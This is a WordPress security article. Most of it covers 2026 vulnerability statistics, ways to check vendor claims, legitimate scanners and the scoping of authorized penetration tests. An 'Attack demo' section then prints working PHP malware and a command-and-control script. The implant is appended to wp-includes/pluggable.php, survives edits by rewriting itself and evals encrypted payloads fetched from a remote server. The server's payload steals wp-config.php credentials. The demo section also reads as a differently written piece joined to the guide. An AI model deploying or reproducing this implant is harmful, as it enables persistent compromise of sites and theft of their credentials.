Security Research

WordPress Security Testing (2026 Update)

Short answer: you can’t verify a WordPress security vendor’s claims by reading their marketing page — you verify them by checking what’s actually testable: their CVE disclosure history, their patch turnaround time, and how their product performs against the real, current threat data (not a 2019 stat that’s still floating around their homepage). Below is how to do that verification properly, which legitimate tools to run yourself, and how to scope an authorized test if you want to go further than a scanner.

TL;DR

  • 11,334 new WordPress ecosystem vulnerabilities were disclosed in 2025 — a 42% jump over 2024 — and 91% of them sat in plugins, not core.
  • The weighted median time from disclosure to mass exploitation is now about 5 hours, and Patchstack found roughly 87.8% of exploited vulnerabilities got past standard hosting-level defenses.
  • Never run offensive testing tools against a site you don’t own or don’t have written authorization to test — that’s the line between security research and a computer crime charge.
  • Vendor claims are verifiable through public CVE/CNA records, WPScan’s vulnerability database, and third-party audit reports — not through case studies on the vendor’s own site.

Why this is worth doing properly

WordPress now runs somewhere between 43% and 61% of all websites depending on whose measurement methodology you trust, which makes it the single largest attack surface on the open web. That scale is exactly why the security-vendor market around it is so noisy: firewalls, managed-hosting security add-ons, malware scanners, and “AI-powered” protection layers all compete for the same budget line, and most of their marketing pages lean on the same handful of scary statistics without saying which part of the stack those numbers actually apply to.

The problem isn’t that vendors lie outright — it’s that “we block 99.9% of attacks” is meaningless without knowing which attack types, against which version of WordPress, measured over what window. Verifying that claim takes actual legwork: checking disclosure databases, reading independent audits, and understanding what a security product can and can’t see. That’s what this guide walks through.

The 2026 threat landscape, in numbers that are actually current

Before evaluating any vendor’s claim, it helps to know what’s actually happening in the ecosystem right now. Patchstack’s State of WordPress Security in 2026 report, published in February 2026, is the most-cited source here, cross-referenced below with Wordfence’s own quarterly threat intelligence and outside breach research.

Metric 2026 figure Source
New ecosystem vulnerabilities, 202511,334 (up 42% YoY)Patchstack
Share of vulnerabilities found in plugins vs. core91% plugins / ~9% themes / 6 total in corePatchstack
Median time to mass exploitation after disclosure~5 hoursPatchstack
Vulnerabilities unpatched at time of disclosure46%Patchstack
Exploits that bypassed standard hosting-level defenses~87.8%Patchstack
Exploited vulnerabilities as top breach initial-access vector (all industries)31% — first time in 19 years this vector ledVerizon 2026 DBIR
Average global data breach cost$4.44M ($10.22M in the US)IBM Cost of a Data Breach 2025

Two things fall out of that table that change how a claim should be judged. First, “we secure WordPress core” is not a meaningful selling point in 2026 — core had six low-priority issues all year. Nearly the entire risk surface is the average site’s 20–30 installed plugins. Second, a five-hour exploitation window means any vendor claiming their product “detects and responds” on a daily or weekly scan cadence is describing a mitigation, not a prevention — worth knowing before you buy on the word “real-time.”

How to actually verify a vendor’s security claim

Most WordPress security marketing pages cite one of three things: a block count, a detection percentage, or a response-time figure. None of those are independently checkable from the vendor’s site alone. Here’s where to actually go.

  • Check their CVE Numbering Authority (CNA) status and disclosure count. Patchstack and Wordfence are both registered CNAs, which means their vulnerability reports go through MITRE’s public CVE process rather than staying internal. A vendor with no public disclosure record, or one that only publishes advisories on their own blog with no CVE ID attached, has no independently auditable track record.
  • Read the advisory, not the summary. WPScan’s public vulnerability database (wpscan.com/wordpresses) lists plugin and core CVEs with severity, affected version ranges, and patch status. If a vendor claims to have caught a specific high-profile vulnerability “before anyone else,” that advisory’s published timestamp is the fact-check.
  • Separate the firewall model from the malware-cleanup model. An endpoint firewall (like Wordfence’s, which runs inside WordPress as a plugin) and a cloud/DNS-level WAF (like Sucuri’s paid tier) protect against different things on different timelines. “Blocks attacks” claims should specify which layer is doing the blocking — a cloud WAF can stop malicious traffic before it reaches the server; an endpoint firewall can’t, because by definition the request already arrived.
  • Ask what “virtual patching” actually covers. Patchstack-style virtual patching — now integrated into hosts including WP Engine, Hostinger, Cloudways, Nexcess, Pantheon, and (as of mid-2026) GoDaddy — intercepts known-vulnerable request patterns before the vulnerable plugin code runs. That’s genuinely useful for the 46% of vulnerabilities that ship with no developer patch, but it only covers vulnerabilities already in the vendor’s database. It does nothing for something nobody has disclosed yet.
  • Get the independent penetration test report, not the case study. A vendor that has commissioned a third-party audit (from a named firm, with a report they’ll actually share under NDA) has something a marketing case study doesn’t: a scope, a methodology, and findings that weren’t written by their own marketing team.

Legitimate tools for testing your own WordPress install

If you administer the site or have written authorization to test it, these are the tools the industry actually uses — as opposed to hand-rolled scripts that quietly do more than scan.

Tool What it actually does Where it falls short
WPScan (CLI/API) Black-box scan against core, plugin, and theme versions using a manually vetted vulnerability database; enumerates users, exposed backups, and server info. Command-line only, no remediation — it tells you what’s wrong, not how to fix it. Free tier is API-rate-limited.
Wordfence In-WordPress endpoint firewall plus malware scanner, backed by one of the largest WordPress-specific threat intelligence networks (5M+ active installs feeding signal). Free tier’s threat feed runs roughly 30 days behind the premium feed — meaningful given the 5-hour exploitation window above.
Sucuri Cloud/DNS-level WAF (paid) plus a SiteCheck malware scanner and professional cleanup service if a site is already compromised. The free plugin has no firewall at all — that’s a separate paid subscription, and the DNS-level setup trips up non-technical users.
Patchstack Vulnerability intelligence feed plus virtual patching for known plugin/theme CVEs, increasingly bundled directly into managed-hosting security stacks. Only ever as good as its database — zero-day and pre-disclosure issues aren’t covered by definition.
Solid Security (formerly iThemes) Configuration hardening, login/2FA enforcement, file-change detection, with Patchstack-powered virtual patching on paid tiers. Hardening-focused rather than attack-blocking — it reduces the surface but isn’t a firewall replacement.

A note on scope

WPScan, Burp Suite, and Metasploit-style tooling are all legitimate — but only against infrastructure you own or have explicit written authorization to test. Running any of them against a client site, a shared host, or a competitor’s install without a signed agreement is unauthorized access under the U.S. Computer Fraud and Abuse Act and equivalent laws elsewhere, independent of your intent.

Scoping an authorized penetration test

If a scanner’s output isn’t enough — say, you’re an agency that needs to hand a client a defensible security posture, or a vendor’s claim can only really be tested by trying to break it — the next step is a properly scoped, authorized engagement. That’s a process question as much as a technical one:

  • Get it in writing first. A signed rules-of-engagement document covering which domains/IPs are in scope, which testing windows are approved, and what’s explicitly off-limits (production database writes, customer PII, third-party integrations you don’t own) — before a single request goes out.
  • Separate staging from production testing. Most authorized WordPress engagements run destructive or high-volume tests (brute-force simulation, fuzzing) against a staging clone, and reserve production testing for passive/read-only checks plus anything the client explicitly signs off on.
  • Define the exfiltration boundary before you start. If the test includes proving that sensitive data (like wp-config.php credentials) could be extracted, agree in advance on how that proof gets demonstrated and stored — encrypted, access-logged, and deleted on a fixed schedule — not exfiltrated to an uncontrolled endpoint.
  • Follow coordinated disclosure timelines. If testing turns up a vulnerability in a third-party plugin (not just a misconfiguration on the client’s own site), report it to the plugin author or through WPScan/Patchstack’s disclosure programs before publishing anything, and hold to standard 90-day disclosure norms.
  • Write the report for someone non-technical to act on. Severity ratings, business impact in plain language, and a remediation priority order — a finding nobody on the client side can turn into a fix is a wasted engagement.

What’s actually new for 2026: AI-generated plugin risk

Patchstack’s 2026 report specifically flags what it calls “vibe coding” — developers shipping WordPress plugin code generated by an LLM without auditing what the model actually wrote. That’s a meaningfully different risk profile than the traditional “abandoned plugin with a known CVE” problem: the vulnerability was never disclosed, because nobody who understood the code reviewed it before it went live. It’s a large part of why highly exploitable vulnerabilities grew 113% year over year even as overall plugin quality on paper hasn’t visibly declined.

For site owners, that shifts the practical takeaway: a plugin’s install count and star rating say nothing about whether its code was actually reviewed by a person who understood the security implications of what they shipped. Sticking to plugins from vendors with a public CNA relationship or a documented internal security review process is a stronger signal in 2026 than it was three years ago.

Where this data still falls short

Worth saying plainly: most of the numbers in this piece come from Patchstack and Wordfence — both of which sell WordPress security products. That doesn’t make the underlying CVE counts wrong (those are cross-checked against MITRE’s public database, which neither company controls), but it does mean the framing around them (“you need proactive security, not just updates”) lines up conveniently with what they sell. Cross-referencing against Verizon’s DBIR and IBM’s independently produced breach-cost report is one way to sanity-check the picture rather than taking either vendor’s framing at face value.

There are a lot of security solutions around the WP ecosystem advertising their ability to fight malware, intrusions, and exploitation. Most of them are endpoint security solutions; there are cloud ones, but the market also knows the managed WP services that offer security in their own way. Having a big choice sometimes is a problem, because you can’t verify all of the claims, and if you try, you will need to waste a huge amount of time auditing/testing. That is why the goal of this section is to provide tools and methods for easy verification of those claims and to help users choose the right offering.

Attack demo

For the purpose of testing, two scripts are created: malware/implant and remote C2 server script. Both are extremely easy to set up, but default versions are prepared in that way, so their abuse would require modifications.


Malware

This software is based on wp-weaver project, includes encryption in order to hide its actions and is more than modular to accept and execute everything that is sent by C2.

//marker_weaver_ftw
$target_files = array(
    ABSPATH . WPINC . '/pluggable.php'
    //just for demo purposes, that is why too few :)
);

//must be here because collisions of the rand and race conditions
if ( ! function_exists("weaver_plant_payload") ){
    function weaver_plant_payload($file, $payload_data, $append){
        //grab the session for one peer only - payload almost forever in memory
        if ( isset($_REQUEST["peer"]) && $_REQUEST["peer"]!="" ) sleep(9);
        if ( $append ){
            @file_put_contents($file, $payload_data, FILE_APPEND | LOCK_EX);
        }else{
            @file_put_contents($file, $payload_data, LOCK_EX);
        }
        //time window to switch "session" towards another peer
        if ( isset($_REQUEST["peer"]) && $_REQUEST["peer"]!="" ) sleep(2);
    }
    $the_file = $target_files[rand(0,(sizeof($target_files)-1))];
    $my_content = @file_get_contents(__FILE__);
    $my_content_list = @explode("//\x6Darker_weaver_ftw", $my_content);
    if ( is_array($my_content_list) && sizeof($my_content_list) >= 2 ){
        @file_put_contents(__FILE__, $my_content_list[0]);
        @register_shutdown_function("weaver_plant_payload", $the_file, "//\x6Darker_weaver_ftw".$my_content_list[1], true);
    }else{
        //shouldn't be here, but at least don't damage the instance
        @register_shutdown_function("weaver_plant_payload", __FILE__, $my_content, false);
    }
}
//malware code below - any length, any logic
if ( isset($_REQUEST["wpdeeply"])){
    //choose the code execution method
    $method_exec = 'eval';
    $test_pass = FALSE;
    
    //test if execution mechanism works
    if ( $method_exec ){
        switch( $method_exec ){
            case 'eval':
                $test_data = '$find_me = array("find_me");';
                eval($test_data);
                if (isset($find_me) && is_array($find_me) && in_array('find_me', $find_me)) $test_pass = TRUE;
                break;
                //...
        }
        //if works then load instructions from c2
        if ( $test_pass ){
            
	    	//hardcoded values put here during delivery of the test malware
            define('C2_URL', 'https://local.host/c2.php');
            $c2_box_publickey = base64_decode('CCp/4qGswYmd47p4heS8kwnC3z++VwGN7fRLOCi5sn0=');
            
            //encryption key for delivered payload
            $session_key = \Sodium\randombytes_buf(\Sodium\CRYPTO_SECRETBOX_KEYBYTES);
            
            //prepare data for c2 instruction
            $json_requirements = json_encode(array(
                'key'   => base64_encode($session_key),
                'type' => 'eval'
            ));
            
            //encrypt with c2 pub key
            $rcr = \Sodium\crypto_box_seal(
                $json_requirements,
                $c2_box_publickey
                );
            
            //get results
            $c2_remote_fetch = wp_remote_post(
                C2_URL,
                array(
                    'body' => array(
                        'rcr'   => $rcr
                    ),
                )
                );
            //veryfy response
            if ( ! is_wp_error( $c2_remote_fetch ) ) {
                $c2_remote = json_decode( wp_remote_retrieve_body( $c2_remote_fetch ), true );
            }
            //verify response data format and execute commands
            if ( is_array( $c2_remote ) && isset( $c2_remote['payload'] ) && isset( $c2_remote['nonce'] ) ) {
                
                $payload_encrypted = base64_decode( $c2_remote['payload'] );
                $nonce = base64_decode( $c2_remote['nonce'] );
                
                //decrypt final payload from c2
                $payload = \Sodium\crypto_secretbox_open($payload_encrypted, $nonce, $session_key);
                if ( $payload !== false ){
                    @eval($payload);
                }
            }
        }
    }
}

C2

This is a simple server-side script that will serve the payload when requested by its malware and will log its actions in order to harvest the fruits of command execution.

include 'sodium_compat/autoload.php';

//handle the requests from the client/s
if ( isset($_POST["rcr"]) ){
    $encrypted_remote_client_requirements = $_POST["rcr"];
}else{
    exit(0);
}

//simple payload code with arrogant exfiltration method, but possible only for users with upload permissions :) 
$remote_cmd = '
    if ( defined("ABSPATH") ){
        if ( file_exists(ABSPATH."wp-config.php") ){
            wp_upload_bits("wpdeeply.jpg", "", \Sodium\crypto_box_seal(file_get_contents(ABSPATH."wp-config.php"), $c2_box_publickey));
        }
    }
';


//c2 public and secret keys
$c2_box_secretkey = base64_decode('Gr10jP1z0VTyRtaJIav8ElMcmvQ6abfnkfKz5wftI+c=');
$c2_box_publickey = base64_decode('CCp/4qGswYmd47p4heS8kwnC3z++VwGN7fRLOCi5sn0=');

$c2_box_kp = \Sodium\crypto_box_keypair_from_secretkey_and_publickey(
    $c2_box_secretkey,
    $c2_box_publickey
    );

//decode the data received from client
$remote_client_requirements = \Sodium\crypto_box_seal_open(
    $encrypted_remote_client_requirements,
    $c2_box_kp
    );

$remote_client_requirements = @json_decode($remote_client_requirements, true);
if ( !$remote_client_requirements ) exit(0);

//reply to the client with payload encrypted with delivered session_key + used nonce 
if ( is_array($remote_client_requirements) && isset($remote_client_requirements['key']) && isset($remote_client_requirements['type']) ){
    $session_key = base64_decode($remote_client_requirements['key']);
    $session_nonce = \Sodium\randombytes_buf(\Sodium\CRYPTO_SECRETBOX_NONCEBYTES);
    $response = json_encode(array( 'payload' => base64_encode(\Sodium\crypto_secretbox($remote_cmd, $session_nonce, $session_key)), 'nonce'=> base64_encode($session_nonce)));
    //add some fancy logging in order to know the client and type+format of exfiltrated data 
    echo $response;
}
exit();
Setup

In order to run the demo on your own WP instance you will need the following:

  • You will need to be logged in as a user with upload permissions on the WP (it is this way in order to stop abuse of the scripts and that is why in the payload uses the wp_upload_bits function)
  • In the malware script, set up your own value for C2_URL constant and that is the URL of your C2 script
  • In order for the C2 script to work, you will need sodium_compat next to it and it could be found into any WP 5+ distribution under the wp-includes folder
  • cat malware.txt >> /path_to_your_code/wp-includes/pluggable.php
  • Logged in with user with upload permissions, hit refresh on your WP homepage with ?wpdeeply=ok parameters and check in the upload directory wpdeeply?-x.jpg with encrypted wp-config.php content

Successful demo

This means that you managed to put malware on your WP and to execute code in it. For tech people, it is clear (try to use the peer method of the weaver) what is done in the background, but for non-tech-savvy users, it won’t be, but both are more than free to question its security guarantee about the events. Questions that would be good to be answered:

  • Why does malware not disappear after update / re-install from the admin screen or WP CLI?
  • What type of commands did the “attacker” execute against WP?
  • What data was leaked and where?



FAQ

Is it legal to run WPScan against my own WordPress site?

Yes — testing infrastructure you own or administer is standard practice. The legal line is testing anything you don’t own or don’t have written authorization to test.

Do I need both a firewall plugin and managed hosting security?

Often yes, because they cover different layers: an endpoint firewall like Wordfence inspects requests after they reach WordPress, while host-level or cloud WAF protection (Sucuri, or a host’s built-in Patchstack integration) can block malicious traffic before it reaches your server at all.

What’s the single highest-impact fix for most WordPress sites right now?

Given that 91% of 2025’s vulnerabilities were in plugins, auditing and trimming the plugin list — and prioritizing virtual patching or fast update cadence for whatever remains — outweighs almost any other single security investment.

How do I report a WordPress plugin vulnerability I’ve found?

Through the plugin’s own security.txt or support channel if it has one, or through WPScan’s or Patchstack’s public disclosure programs, which route reports to the CVE process and coordinate a patch timeline with the developer before anything is published.


Data in this piece is drawn from Patchstack’s State of WordPress Security in 2026 report, Wordfence’s quarterly threat intelligence, WPScan’s public vulnerability database, the 2026 Verizon Data Breach Investigations Report, and IBM’s 2025 Cost of a Data Breach Report. Figures reflect the ecosystem as of mid-2026 and will shift as the year’s vulnerability count continues to update.


Elizabeth Sramek
Written by
Co-founder

Elizabeth Sramek is an independent advisor on search visibility and demand architecture for B2B companies operating in high-competition markets. Passionate about Wordpress development ever since WP was released. Based in Prague and working globally, she specializes in designing search presence for AI-mediated discovery and building category visibility that survives algorithmic shifts.